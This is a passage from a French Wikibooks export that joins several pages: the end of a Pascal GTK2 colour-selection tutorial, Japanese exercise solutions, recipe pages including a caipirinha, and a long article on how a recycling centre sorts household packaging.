PGtkwidget; Couleur : TGdkColor; begin // Création de la fenêtre de sélection pSelectionCouleur := gtk_color_selection_dialog_new('Couleur de la fenêtre...'); // On limite les actions à cette fenêtre gtk_window_set_modal(GTK_WINDOW(pSelectionCouleur), TRUE); // Affichage fenêtre case gtk_dialog_run(GTK_DIALOG(pSelectionCouleur)) of GTK_RESPONSE_OK : begin // Récuperation du chemin gtk_color_selection_get_current_color( GTK_COLOR_SELECTION(GTK_COLOR_SELECTION_DIALOG(pSelectionCouleur)^.colorsel), @Couleur); Writeln(Format('Rouge:%d, Vert:%d, Bleu:%d', [Couleur.red, Couleur.green, Couleur.blue])); end; end; gtk_widget_destroy(pSelectionCouleur); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pBouton : PGtkToolItem; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk049 : Sélection de couleur'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création du bouton couleur pBouton := gtk_tool_button_new(NULL, 'Couleur...'); gtk_toolbar_insert(GTK_TOOLBAR(pBarreOutils), pBouton, -1); gtk_signal_connect(pGTKOBJECT(pBouton), 'clicked', G_CALLBACK(@OnClickBtn), pFenetre); gtk_widget_show_all(pFenetre); gtk_main; end. Voila ce que donne l'exécution du programme gtk049 : La fenêtre principale s'affiche et on clique sur le bouton « Couleur », voilà la fenêtre de dialogue qui s'ouvre : [[Image:Programmation_GTK2_en_Pascal_-_gtk049.png]] {{Modèle:Programmation GTK2 en Pascal - Sélections}} [[Catégorie:Programmation GTK2 en Pascal|GtkColorSelectionDialog]] Image:Image110constituants.gif 3180 14712 2005-04-11T17:21:46Z Bionet 111 hydrolyse de l'amidon hydrolyse de l'amidon Image:Image112constituants.gif 3181 14713 2005-04-11T17:23:05Z Bionet 111 hydrolyse des protéines hydrolyse des protéines Image:Image114constituants.gif 3182 14714 2005-04-11T17:23:49Z Bionet 111 hydrolyse du lactose hydrolyse du lactose Image:Image116constituants.gif 3183 14715 2005-04-11T17:24:13Z Bionet 111 hydrolyse des lipides hydrolyse des lipides Image:Matiere vivante.jpeg 3185 14717 2005-04-23T11:51:46Z Bionet 111 image d'illustration du livre sur les principaux constituants de la matière vivante. Photo récupérée sur [http://openphoto.net/ OpenPhoto.net], sous licence CC. Japonais:Base du japonais 3186 20501 2005-09-03T12:36:41Z Duarna 465 catégorie Retour à la [[Table des matières (Japonais)|table des matières]]. Comment allez-vous ? お元気ですか。 Je vais bien。 Et vous ? 元気です、あなたは。 {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] Catégorie:Exercices (Japonais) 3187 14719 2005-04-12T03:29:37Z Genepi2 249 [[Catégorie:Méthode de Japonais]] Cette sous-catégorie de [[:Catégorie:Méthode de Japonais|Méthode de Japonais]] regroupe la matière utilisée pour les exercices de [[:Catégorie:Japonais|Japonais]]. Japonais Exercices:R002 003 3188 14720 2005-04-27T13:10:35Z M4RC0 274 Erreur ? == Solution == {| border="1" | <sub>なんさい</sub><br /> <big>'''何歳'''</big> |} ---- <sub>   むすこ    <font color="green">'''なんさい'''</font>  </sub><br /> <big>3.息子さん<font color="green">'''何歳'''</font>ですか。</big><br /> <sub>           ごさい </sub><br /> <big>      - 5歳です。</big><br /> [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Japonais Exercices:R002 004 3189 14721 2005-04-12T03:41:01Z Genepi2 249 == Solution == {| border="1" | <sub>なんようび</sub><br /> <big>'''何曜日'''</big> |} ---- <sub>    きょうかい <font color="green">'''なんようび'''</font> い </sub><br /> <big>4. 教会に<font color="green">'''何曜日'''</font>行きますか。</big><br /> <sub>           にちようび い </sub><br /> <big>      - 日曜日行きます。</big><br /> [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Japonais Exercices:R002 005 3190 14722 2005-04-12T03:54:52Z Genepi2 249 == Solution == {| border="1" | <sub>なんがい</sub><br /> <big>'''何階'''</big> |} ---- <sub>     た   もの  う   ば   <font color="green">'''なんがい'''</font></sub><br /> <big>5. 食べ物の売り場が<font color="green">'''何階'''</font>ありますか。</big><br /> <sub>          さんかい </sub><br /> <big>      - 三階にあります。</big><br /> [[Japonais:Pool d'exercices#Exercice 002|Retour à l'exercice]] [[Catégorie:Exercices (Japonais)]] Cuisine:Recettes de cuisine mexicaine 3193 14724 2005-04-21T19:26:46Z Antoinel 182 == Tamal == [[Image:Tamales mexicanos navidad2004.jpg|thumb|280px|''Tamales'']] == Tortilla == {{Recettes par pays}} Cuisine:Recettes de cuisine brésilienne 3194 14725 2005-06-27T19:13:55Z 84.195.206.85 /* Préparation */ ortographe == Caipirinha == La Caïpirinha est un cocktail Brésilien. ====Ingrédients==== * de la cachaça environ 6 cl (alcool local, mais on en trouve en France), * 1 citron vert (ou un demi), * 1 cuillières à soupe de sucre en poudre, * de la glace pilée. * une paille coupée en deux pour la déco. ====Préparation==== #Coupez le citron vert en deux selon son équateur. Coupez chaque demi citron en 4 quartiers. #Mettez le citron découpé dans le shaker, puis le sucre de canne blanc. Ecrasez le tout à l'aide d'un instrument adapté (une fourchette peut éventuellement faire l'affaire), il faut que le citron ait sorti la plupart de son jus. #Ensuite, ajoutez la glace et la cachaça (selon la force que l'on souhaite donner au cocktail, la cachaça est forte comme le rhum). #Fermez le shaker, secouez bien et servez avec une paille. #Bonne dégustation, à consommer avec modération, ce cocktail peut faire mal aux non-initiés. {{Recettes par pays}} Tri sélectif des emballages ménagers 3195 41842 2006-05-10T06:46:47Z 217.167.18.165 ortho Force est de constater que le devenir des déchets ménagers est présent dans l'actualité. Il faut bien admettre qu'en tant que citoyen, nous devons apprendre à gérer les déchets que nous produisons afin de protéger notre environnement et notre cadre de vie. L'ère des décharges à tout va est révolu. Nous entrons dans l'ère du recyclage. Ce dossier est ciblé sur la gestion d'une partie des déchets ménagers&nbsp;: les emballages ménagers recyclables. [[Image:Poubelle.jpg|right]] Le tri sélectif a été étudié dans son ensemble pour un centre d'affinage des déchets ménagers recyclables particulier. Ce centre présente l'intérêt d'être un des centres de tri pilotes d'&Eacute;co-Emballages (mise en place de nouvelles filières de recyclages afin de tester les productions...). Or il est apparu que le tri sélectif différait dans ses méthodes et principes suivant l'emplacement géographique du bassin de collecte des déchets ménagers. Il a donc paru indispensable d'étudier également ce thème dans d'autres zones géographiques. Ainsi 4 autres centres de tri ont été étudiés aux quatres coins du territoire. ==Introduction== Même si les chiffonniers et autres ferrailleurs ont quasiment toujours existé, la récupération et le tri systématiques et industrialisés sont des activités totalement nouvelles et novatrices. Elles sont novatrices dans le sens où des technologies ont dû être créées ou adaptées à des besoins bien spécifiques. L'activité de tri sélectif s'est également traduite par la recherche de nouvelles compétences&nbsp;: des valoristes ou agents de tri qui travaillent sur les chaînes au centre de tri et les ambassadeurs de tri qui informent les collectivités et les particuliers des conditions et des enjeux du tri sélectif. La récupération des déchets ménagers recyclables est une activité en plein essor. Juste après le décret du 1er avril 1992 sur le recyclage des déchets ménagers est né &Eacute;co-emballages qui soutient financièrement les collectivités (soutien financier à la tonne triée pour les déchets&nbsp;: si le process de tri est bon il y a alors plus de recyclage et une meilleure rémunération). La loi du 13 juillet 1992 renforce encore la position d'&Eacute;co-Emballage dans son rôle de moteur de l'implantation du tri sélectif en France (la loi du 13 juillet 1992 interdit toute mise en décharge de déchets non ultimes à partir de 2002). On parle de valorisation des déchet ménagers puisqu'ils vont servir de matière première pour l'industrie du recyclage. Les plastiques, suivant leurs qualités, serviront à synthétiser des fibres textiles ou bien des éléments de tuyauterie. Les métaux seront refondus pour fabriquer de nouveaux produits métalliques. Les papiers ou cartons seront réduits à l'état de fibres cellulosiques pour reformer des papiers ou cartons neufs. Le verre sera transformé en calcin, matière première à l'industrie verrière, permettant la fabrication de verre à moindre coût. L'organisation du centre de tri ainsi que des collectes n'ont rien d'universels. Chaque organisation dépend de la région : d'une part des habitudes de consommation de ses habitants et d'autre part de la présence de recycleurs et de leur type de production (une entreprise recyclant du papier peut fabriquer du carton ou bien du papier de bureautique, les exigences de qualité envers le papier trié seront ainsi différentes). ==Des ménages au centre de tri== Le tri sélectif des déchets ménagers recyclables n'est pas uniquement limité au rôle de l'usine de tri. La qualité de la collecte auprès des ménages joue un rôle extrêmement important dans la qualité du tri qui en découle. ===La part du centre de tri=== [[Image:Plaquette.jpg|thumb|left|La Gestion des Déchets Ménagers]] [[Image:Schéma global2.png|thumb|left|Schéma global de la Gestion des Déchets]] Le centre de tri est situé au c&oelig;ur de la logistique des déchets ménagers. Le schéma global de la gestion des déchets (Fig. Schéma global de la Gestion des Déchets) présente les différentes collectes et traitements des déchets ménagers sur le secteur géographique et districal du centre de tri. ===La collecte sélective=== Il existe donc deux types de collectes complémentaires visant à récupérer les déchets ménagers recyclables en vue de leur traitement en centre de tri. Les déchets en question sont donc exclusivement des emballages ménagers recyclables. ====La collecte en porte à porte==== Suivant la fréquence de la collecte, on choisira un bac compartimenté ou un deuxième bac. Pour les immeubles ou les résidences HLM, un second bac arrive en complément du bac à ordures ménagères classiques (non recyclables), il est reconnaissable par sa couleur bleue. Dans les immeubles, des sacs poubelles translucides bleus sont distribués aux habitants afin qu'ils y placent leurs déchets recyclables avant des les jeter dans les bacs bleus dédiés. ====La collecte en apport volontaire==== [[Image:Ramassage.png|thumb|left|La collecte des déchets ménagers recyclables]] *'''le verre''' Habitués depuis de nombreuses années, les habitants déposent le verre alimentaire dans des conteneurs situés à proximité des habitations. Ils sont localisés en des points faciles d'accès avec un parking pour automobiles. *'''le papier''' Des conteneurs à papier ont été maintenus en place, surtout aux abords des supermarchés. En général ces conteneurs se trouvent localisés aux mêmes endroits que les conteneurs à verre. *'''le plastique''' De nouveaux conteneurs (en fait de simples parcs grillagés) sont mis en place pour collecter les bouteilles plastiques. A l'arrivée au centre de tri ces différentes collectes en apport volontaire subiront des traitements différents que nous détaillerons par la suite&nbsp;: *'''le verre''' Le verre est uniquement en transit au centre de tri où il est stocké en l'attente de pouvoir remplir un semi-remorque. *'''le papier''' Les papiers et cartons des apports volontaires auront leur propre chaîne de tri car ils représentent un volume important. *'''le plastique''' La chaîne de tri multi-matériaux est peut être dédiée uniquement aux plastiques. Cette situation s'explique par le fait qu'il existe diverses catégories de plastiques et qu'il faut de toute façon les trier. La mise en place d'une chaîne de tri dédiée uniquement aux plastique des apports volontaires ne serait pas rentable. ==Organisation du Centre de Tri== ===Présentation=== &Eacute;tape principale dans la récupération des emballages ménagers, le centre de tri se trouve en aval de la collecte et en amont des recycleurs. La collecte sélective a été mise en place à ce jour sur 29 des 33 communes du District. Le centre de tri du District accueille les collectes en porte à porte de deux communautés de communes voisines. Hormis les habitants drainés par les apports volontaires que l'on ne peut pas comptabiliser, le District totalise 270&nbsp;000 habitants trieurs sur 400&nbsp;000 habitants au total. La collecte sélective reste à mettre en place au centre ville. Les deux communautés de communes voisines totalisent quant à elles 98&nbsp;000 habitants trieurs. A terme c'est 120 communes qui pourraient amener leurs collectes au centre de tri après une adhésion au SMEDAR. La capacité de traitement du centre par an est de 18&nbsp;000 tonnes dont 8&nbsp;000 tonnes de multi-matériaux (les mono-matériaux sont le verre et les apports volontaires de papiers, cartons et plastiques. Par semaine on comptabilise environ 150 livraisons de collectes et 20 expéditions de semi-remorques vers les filières de recyclage. A l'arrivée sur le site, les bennes déchargent leur cargaison à quatre endroits différents&nbsp;: #un lieu de stockage amont pour les apports volontaires papiers, cartons qui seront traités séparément #un lieu de stockage pour les multi-matériaux avec sacs poubelles bleus et les multi-matériaux en vrac issu essentiellement des deux communautés de communes #un lieu de stockage pour les apports volontaires monomatériaux plastiques (qui sont, pour l'instant, sous traités par une autre usine de tri) #un lieu de stockage en extérieur pour le verre (il ne subira aucun traitement au centre de tri, il est uniquement en transit) Le centre de tri et d'affinage du District regroupe sur le même site deux chaînes de tri spécifiques pour trier les collectes multi-matériaux d'une part (emballages collectés en porte à porte et plastiques en apports volontaires) et une des collectes mono-matériaux d'autre part (papier/cartons provenant des apports volontaires). Cette unité industrielle allie à la fois des tâches mécanisées et des tâches manuelles. Sur la chaîne de tri des emballages, les opérations peuvent se résumer en cinq phases&nbsp;: #Un contrôle de pesée et de qualité est effectué sur les bennes à l'entrée du site. Ce contrôle permet de vérifier la qualité des collectes et de les refuser si besoin est. #Chargement de la chaîne. &Agrave; l'aide d'une pelle mécanique, les emballages sont placés sur un tapis roulant les entraînant vers les tapis de tri. #Premier tri manuel visant d'abord à récupérer les gros cartons, puis ouverture des sacs plastiques provenant des collectes en sacs. Les sacs d'ordures ménagères polluants seront évacués le cas échéant. #Le tri des différents matériaux qui suit est essentiellement manuel. Il existe cependant différents équipements facilitant le travail&nbsp;: un tri magnétique par overband et un tri par induction avec la machine à courant de Foucault (installée mais non fonctionnelle sur le site). #Les produits triés sont ensuite conditionnés en balles pour les plastiques, briques alimentaires et les cartons. Les journaux/magazines sont stockés en bennes en vrac. Les métaux sont pressés en paquets. Les matériaux seront ensuite expédiés vers les filières de recyclage. ===Les filières de recyclage=== Réalité industrielle aux débouchés en évolution constante, le recyclage transforme le contenu des contenants de collecte sélective en matière première secondaire. Au centre de tri et d'affinage du District, les matériaux conditionnés sont envoyés à dix filières principales (les recycleurs) et devront être triés en conséquence&nbsp;: #une filière acier #une filière aluminium (qui n'a encore jamais fonctionnée sur le site) #une filière briques alimentaires #une filière papier (journaux, magazines) #une filière carton #une filière verre #une filière plastique PVC (bouteilles d'eau minérales) #une filière plastique PET (bouteilles de boisson gazeuse, eau minérale) #une filière plastique PEHD (plastiques opaques~: bidons de lessive, lait, produits d'entretien) #une filière films plastiques (sac poubelle, emballages de revues, sur-emballage d'eau minérale) ===Le personnel du centre de tri=== Sur le site, ce sont environ 70 employés qui travaillent. <!--[[Image:Personnel centre tri.png|Personnel du centre de tri]]--> <table border="1"> <tr><td><b><center>&Eacute;quipe</center></b></td><td><b><center>Rôle</center></b></td></tr> <tr><td>Direction</td><td>1 responsable d'exploitation<br>1 responsable qualité<br>1 contrôleur qualité<br>1 responsable hygiène et sécurité</td></tr> <tr><td>Administration</td><td>Gestion administrative<br>Gestion financière<br>Service Achats</td></tr> <tr><td>3 équipes de tri de 14 personnes en 3/8</td><td>1 chef d'équipe<br>11 trieurs répartis sur 3 cabines de tri<br>1 trieur au gyrotri (papier mono-matériau)<br>1 cariste</td></tr> <tr><td>1 équipe de journée en 2/8</td><td>4 agents à l'accueil<br>6 agents à la presse et au verre<br>1 chauffeur<br>3 agents de maintenance et entretien</td></tr> </table> <i>Tableau : Personnel du centre de tri</i> Les horaires de travail sont&nbsp;: 5h-13h, 13h-21h et 21h-5h avec une pause toutes les deux heures (une pause de 30min et deux pauses de 15min). ==Les Chaînes de Tri== ===Le Tri et l'Affinage manuel et mécanique=== Le centre de tri regroupe sur le même site deux chaînes de tri spécifiques mono-matériau papiers et multi-matériaux (voir Fig. Plan d'Implantation du Centre de Tri). [[Image:Planimplantation.png|thumb|left|Plan d'Implantation du Centre de Tri]] La chaîne multi-matériaux peut également être utilisée comme chaîne de tri mono-matériau plastiques (pour trier les collectes mono-matériau bouteilles plastiques). Quelle que soit la chaîne de tri, le principe est toujours le même&nbsp;: #Un cariste présente les déchets ménagers à un tapis convoyeur en les poussant dans une fosse. #Les produits à trier sont emmenés; via le tapis convoyeur, sur un tapis de tri situé en hauteur (5&nbsp;m). Le tapis convoyeur est en fait constitué de deux tapis à deux vitesses différentes afin de permettre une meilleure répartition des déchets à trier. Le premier tapis partant de la fosse est plus lent que le second. Ainsi les agglomérats de déchets pouvant transiter par le premier tapis sont étalés sur le second tapis plus rapide. #Les agents de tri effectuent leur travail sur le tapis de tri défilant régulièrement devant eux et placent les produits triés, ou les refus de tri le cas échéant, dans des goulottes. Pour certains matériaux (métaux) des machines vont remplacer l'acte de préhension des agents de tri. #Les goulottes débouchent dans des bennes ou des réservoirs situés juste en dessous des tapis de tri. #Les produits triés (ou les refus de tri) sont alors prêts à être conditionnés ou évacués. ===Le Tri mono-matériau=== Les collectes d'apports volontaires de papiers-cartons représentent un volume important et vont être traitées sur une chaîne de tri qui leur est réservée. Il y a relativement peu de contaminants (journaux emballés sous plastique et enveloppes) et le tri va servir principalement à purifier le matériau. On parlera alors de tri négatif, ce qui signifie que l'agent de tri soustrait les contaminants à un flux de papiers circulant sur un tapis de tri. En fait cette notion de tri négatif n'est pas tout à fait exacte dans les faits puisque l'agent de tri va ici retirer également les cartons du flux de papiers circulant. Les cartons seront ensuite conditionnés en balles pour leur recyclage. Ceci s'explique par le fait que les collectes d'apports volontaires de papiers/cartons fournissent une masse beaucoup plus importante de papier (journaux/magazines) que de cartons. Les refus de tri ou contaminants seront stockés en bennes jusqu'à leur élimination en usine d'incinération. [[Image:Tri negatif lateral jeté frontal.png|thumb|left|Tri manuel latéral négatif à jeté frontal]] C'est une plate-forme de gyrotri qui sera utilisée dans cette configuration de tri mono-matériau. Le tapis n'est pas linéaire mais circulaire. Les papiers/cartons arrivent en un point du tapis de tri via un tapis convoyeur. Les agents de tri retirent tout ce qui n'est pas journaux/magazines&nbsp;; il s'agit donc de '''tri négatif'''. Comme ils placent les cartons et déchets dans des goulottes placées en face d'eux, de l'autre côté du tapis, ils procèdent à un '''jeté frontal'''. Le tapis se déroule de droite à gauche par rapport à l'agent de tri donc il s'agit d'un '''tri manuel latéral'''. En fin de tour, les journaux/magazines restés sur le tapis tombent dans une goulotte vers un réservoir approprié. L'intérêt du gyrotri est qu'il prend relativement peu de place. Mais il reste un des plus difficile physiquement pour les agents de tri&nbsp;: les produits à trier arrivent dans le dos de l'agent de tri qui n'a pas le temps de se préparer à la préhension des refus de tri. Malgré tout, l'agent de tri peut faire tourner le tapis de tri en circuit fermé s'il n'a pas eu le temps de procéder à un tri efficace. Les matériaux triés sont donc&nbsp;: *journaux/magazines en sortie *cartons, cartonnettes *une part de refus de tri constitué majoritairement de papiers non recyclables et de plastiques. ===Le Tri multi-matériaux=== Ici, contrairement au gyrotri, les tapis de tri sont linéaires ce qui permet leur passage dans des cabines. C'est dans ces cabines que les agents de tri vont travailler. L'avantage de ces cabines est qu'elles peuvent être chauffées en hiver et qu'elles protègent les ouvriers de la poussière que pourrait générer certaines installation que nous allons détailler plus loin. Pour éviter l'entrée de poussière une surpression est provoquée à l'intérieur des cabines. Le tri réalisé est appelé '''tri positif''' car les agents manipulent les matériaux à recycler et non ceux à éliminer (sauf dans les étapes d'élimination de déchets non recyclables et gênants pour le reste du tri positif). Nous allons suivre les déchets arrivant en haut du tapis convoyeur. ====Première cabine&nbsp;: ouverture des sacs, premiers refus de tri et récupération des cartons==== Deux premiers agents de tri récupèrent les gros cartons encombrants qui gênent le tri des autres matériaux. S'ils en ont le temps, ils ouvrent les sacs plastiques contenant des emballages recyclables. La cabine se continue à angle droit. Un troisième agent de tri ouvre les sacs de déchets et, le cas échéant, élimine les sacs d'ordures ménagères non-recyclables. Il en profite également pour étaler sur le tapis de tri le flux de déchets pouvant arriver en bloc. Il récupère les films plastiques (sacs poubelle, emballages de revues, sur-emballages de bouteilles d'eau...). Un autre agent récupère les journaux/magazines. Les opérations dans cette première cabine se font en jeté frontal et tri latéral pour les déchets et jeté latéral pour les journaux/magazines. ====Crible vibrant&nbsp;: évacuation des impalpables, répartition du flux==== Le flux de matériaux contient des particules trop petites pour être triées manuellement (appelées&nbsp;: les fines). Le tapis de tri déverse son contenu sur un crible vibrant aux perforations de 15 centimètres de diamètre. Le flux de matériaux glisse dans le sens de la déclivité du crible vers le tapis de tri qui suit. En passant sur le crible, les particules de diamètre inférieur à 15&nbsp;cm sont évacuées dans un container situé en dessous. Cette étape permet également d'éliminer les poussières et les bris de verre ou de métaux pouvant être blessants. Les vibrations permettent enfin d'étaler les matériaux sur le tapis de tri qui suit. ====Seconde cabine&nbsp;: récupération des journaux/magazines==== Les journaux magazines représentent la part la plus importante des matériaux recyclables. Il convient donc de les éliminer afin de laisser le champ libre pour les autre tris. Deux nouveaux agents de tri sont chargés de trier les journaux/magazines dans cette seconde cabine. Ils effectuent un tri manuel latéral à jeté latéral. ====Troisième cabine&nbsp;: récupération des plastiques, briques alimentaires et cartonnettes==== Dans cette troisième cabine de tri, deux agents récupèrent les derniers journaux/magazines qui restent sur le tapis à la sortie de la seconde cabine. Ils sont placés en vis-à-vis et procèdent à un jeté latéral. [[Image:Tri positif latéral jeté latéral.png|thumb|left|Tri manuel latéral positif à jeté latéral]] Les deux agents de tri qui suivent sont également en vis-à-vis et récupèrent les cartonnettes et autres petits cartonnages d'emballage. Ensuite, un agent de tri récupère les bouteilles plastiques PEHD, un autre récupère les briques alimentaires et un dernier récupère les bouteilles PET. Ces trois agents sont placés à la suite, le long du tapis de tri car ils utilisent des goulottes différentes et les deux goulottes placées en vis-à-vis desservent le même container. Représentant des volumes de plus en plus restreints, les bouteilles PVC sont récupérées dans un petit container mobile placé à gauche de l'agent de tri responsable des briques alimentaires (la goulotte des PET étant située à sa droite). En récupérant les PEHD, l'agent constate la présence résiduelle de papiers et cartonnettes sur le tapis de tri. Il récupère ces matériaux dans deux petits containers placés à sa gauche. A la sortie de cette troisième cabine, il ne reste plus grand chose sur le tapis de tri. Les seuls matériaux recyclables sont les emballages métalliques qui devront être séparés des refus de tri constitués essentiellement de blister plastiques et de papiers non recyclables. ====Overband&nbsp;: récupération des métaux ferreux==== [[Image:Overband.png|thumb|left|Overband à aimant permanent]] Les métaux ferreux (dont l'acier constitue la plus grande part) peuvent être récupérés à l'aide d'un aimant. C'est le rôle d'une machine&nbsp;: l'overband (Fig. Overband à aimant permanent). {{Definition| définition=Le principe en est simple&nbsp;: le flux de déchets passe sous un électro-aimant. Autour de cet aimant un tapis tourne transversalement au tapis de convoyage situé en dessous. Les emballages ferreux sont donc attirés sur le tapis de l'overband et emmenés sur le coté où l'attraction magnétique cesse et laisse tomber l'emballage dans une glissière. Les métaux ferreux ainsi récupérés sont envoyés vers une presse à paquet qui permet de former des «&nbsp;sucres&nbsp;» d'acier.}} Sur le tapis il ne reste que les refus de tri et les emballages métalliques aluminium qui ne sont pas sensibles aux ondes magnétiques. ====Machine à courant de Foucault&nbsp;: récupération de l'aluminium==== L'aluminium est le matériau qui rapporte le plus lorsqu'on cumule le prix de reprise versé par la filière aluminium et le soutien versé par &Eacute;co-Emballages. Pourtant cette récupération ne se fait pas sur le site malgré la présence du matériel dédié. {{Definition1| définition=La machine à courant de Foucault capte les variations de courant induit sur le tapis de tri. Lorsqu'il y a variation, l'aluminium est détecté et il est éjecté du tapis par un jet d'air vers un réceptacle.}} Le problème est que les capteurs s'encrassent très rapidement et la machine est en fait hors service pratiquement tout le temps. Les autres centres de tri équipés de ce matériel connaissent le même problème et le fournisseur ne trouve actuellement pas de solution. Dans les centres de tri équipés d'une machine à courant de Foucault qui fonctionne, les directeurs se plaignent de la rapidité d'usure de la bobine à induction lors d'une élévation de sa vitesse de rotation (pour permettre un flux de déchets plus rapide) et la consommation électrique de cet appareil est vraiment très élevée. Les emballages en aluminium sont donc rejetés avec les refus de tri et destinés à l'incinération. Il faut noter toutefois qu'en sortie d'incinérateur, l'aluminium peut être récupéré sous forme de nodules d'aluminium ou de mâchefers mais ce n'est pas là sa forme la plus intéressante pour la filière aluminium. Un tri manuel des emballages métalliques est techniquement difficile à mettre en place sur le site car il faut de toute façon l'adjoindre à un overband puisqu'il est impossible de distinguer une bouteille de laque en acier d'une bouteille de crème chantilly en aluminium. Même si elle n'est pas actuellement fonctionnelle, cette étape représente la dernière étape de la chaîne de tri multi-matériaux. ===Un problème de productivité&nbsp;?=== Chaque semaine, plusieurs tonnes de déchets recyclables en vrac repartent vers un autre centre de tri d'une ville voisine. On pourrait alors penser que le centre de tri de l'agglomération souffre d'un manque de productivité. Or il n'en est rien car il fonctionne à son maximum de capacité. Le seul moyen de trier tous les déchets arrivant est de construire un nouveau centre de tri plus grand et employant davantage d'agents de tri. Le centre de tri de l'agglomération est un centre pilote depuis de nombreuses années et il a vu de nombreuses évolutions dans les techniques de tri et des configurations paraissant logiques et fonctionnelles à la création du centre ne le sont plus aujourd'hui. L'agglomération a lancé la construction d'un nouveau centre de tri, véritable plate forme devant ventiler tous les déchets ménagers vers les recycleurs ou l'usine d'incinération. Cette \oe uvre de grande envergure prend du retard, mais devrait s'achever en 2002. ==Les produits d'affinage== ===Nomenclature des déchets recyclés=== Pour l'agent de tri, il n'est pas toujours évident de distinguer deux emballages similaires de forme mais de compositions différentes et devant donc être triés différemment. <table border="1" cellspacing="0"> <tr><td width=100px><b>Catégorie</b></td><td width=40px><b><center>N°</center></b></td><td width=90px><b>Codification</b></td><td width=400px><b>Listes des catégories ou sous-catégories ciblées</b></td></tr> <tr><td rowspan=2 valign=top>PAPIER</td><td>02.02</td><td>Journaux et brochures</td><td>Journaux locaux et nationaux, quotidiens, publicités sur même support papier, brochures sans papier glacé, annuaires téléphoniques</td></tr> <tr><td>02.03</td><td>Magazines et publicité sur papier glacé</td><td>Magazines et publicité sur papier glacé, brochures sur papier glacé, catalogues touristiques</td></tr> <tr><td rowspan=2 valign=top>CARTONS</td><td>03.01</td><td>Emballages cartons plats</td><td>Paquets de céréales, poudre à laver, boîtes d'oeufs, boîtes de pâtes, boîtes de mouchoirs en papier, boîtes de lait en poudre, boîtes de jouets, boîtes de biscuits pour chien, cartons de crèmes glacées, cartons de yaourts, pack de bières</td></tr> <tr><td>03.02</td><td>Emballages cartons ondulés</td><td>Cartons marrons ondulés</td></tr> <tr><td valign=top>COMPLEXES</td><td>04.01</td><td>Emballages complexes cartons</td><td>Briques alimentaires : lait UHT, jus de fruits</td></tr> <tr><td rowspan=4 valign=top>VERRES</td><td>09.01</td><td>Emballages en verre vert</td><td>Bouteilles (vin, cidre, eau minérale), bocaux en verres (conserves, confitures ...), flacons</td></tr> <tr><td>09.02</td><td>Emballages en verre transparent, dit de couleur blanche</td><td>Bouteilles, bocaux en verre (conserves, confitures ...), flacons spiritueux, ketchup, vinaigre, limonade, mayonnaise, petits oignons</td></tr> <tr><td>09.03</td><td>Emballages en vert brun</td><td>Bouteilles, bocaux en verre, flacons, bière, cidre, huile de foie de morue, shampoings pour lentes et poux</td></tr> <tr><td>09.04</td><td>Verres d'emballages d'autres couleurs</td><td>Verres colorés (autres que bouteilles vertes, brunes, ou blanches)</td></tr> <tr><td rowspan=2 valign=top>METAUX</td><td>10.01</td><td>Emballages métaux ferreux</td><td>Boîtes de boisson (bière, cola ...), boîtes alimentaires pour animaux, boîtes de conserve (légumes, fruits, viandes, poissons ...), couvercles</td></tr> <tr><td>10.02</td><td>Emballages aluminium</td><td>Boîtes de boisson (bière, cola ...), boîtes de conserves, aluminium ménagé : feuilles d'aluminium, barquettes, capsules de bouteilles de lait et de yaourt, paquets craquants</td></tr> </table> <i>Tableau : nomenclature MODECOM des déchets ménagers (hors plastiques)</i> <!--[[Image:Nomenclature modecom.png|nomenclature MODECOM des déchets ménagers (hors plastiques)]]--> L'[http://www.ademe.fr/ ADEME] ('''A'''gence '''D'''e l''''E'''nvironnement et de la '''M'''aîtrise de l''''&Eacute;'''nergie) a créé la MODECOM ('''M'''éth'''O'''de '''DE''' '''C'''aractérisation des '''O'''rdures '''M'''énagères) afin d'aider les municipalités à mettre en place leur plan de recyclage des déchets ménagers. De cette méthode est sortie une classification des déchets ménagers. Les déchets ménagers qui vont être récupérés par tri en vue d'un recyclage sont reconnus d'après les spécificités des tables&nbsp;: "nomenclature MODECOM des déchets ménagers (hors plastiques)" et "codes européens d'identification des bouteilles et flacons plastiques". [[Image:Identification dechets platiques.png|identification visuelle des déchets plastiques]] L'identification visuelle des déchets plastiques se fait grâce à la table suivante. Les logos d'identification des plastiques (table&nbsp;: codes européens d'identification des bouteilles et flacons plastiques) très souvent représentés sur les emballages ne sont pratiquement pas utilisés lors du tri manuel car ils sont difficilement visibles (souvent imprimés en relief sur des emballages translucides). <!-- \begin{table}[htbp] \begin{center} \begin{tabular}{|l|c|c|c|l|c|c|} \cline{2-7} \multicolumn{1}{l|}{} & \textbf{Lumière} & \textbf{Aspect} & \textbf{Cul} & \textbf{Teinte} & \textbf{Résine} & \textbf{N°} \\ \hline Films & & & & & PET & 07.01 \\ \hline Bouteilles & transparent & brillant & % cul bouteilles plastiques rond avec trait de moulage \begin{picture}(10,15) \put(5,5){\circle{10}} \put(0,5){\rule{3.5mm}{.2mm}} \end{picture} & bleutée, & PVC & 07.02 \\ et flacons & & & & incolore, & & \\ & & & & verte & & \\ \cline{4-7} & & & % cul bouteilles plastiques rond avec plot rond au centre \begin{picture}(11,15) \put(5,5){\circle{10}} \put(5,5){\circle*{2}} \end{picture} & verte, & PET & 07.03 \\ & & & & incolore & & \\ \cline{4-7} & & & % cul bouteilles plastiques rond avec trait de moulage \begin{picture}(10,15) \put(5,5){\circle{10}} \put(0,5){\rule{3.5mm}{.2mm}} \end{picture} & laiteuse & PET+PP & 07.04 \\ \cline{2-7} & translucide & mat & % cul bouteilles plastiques rond avec trait de moulage \begin{picture}(10,15) \put(5,5){\circle{10}} \put(0,5){\rule{3.5mm}{.2mm}} \end{picture} & claire & PET+PP & 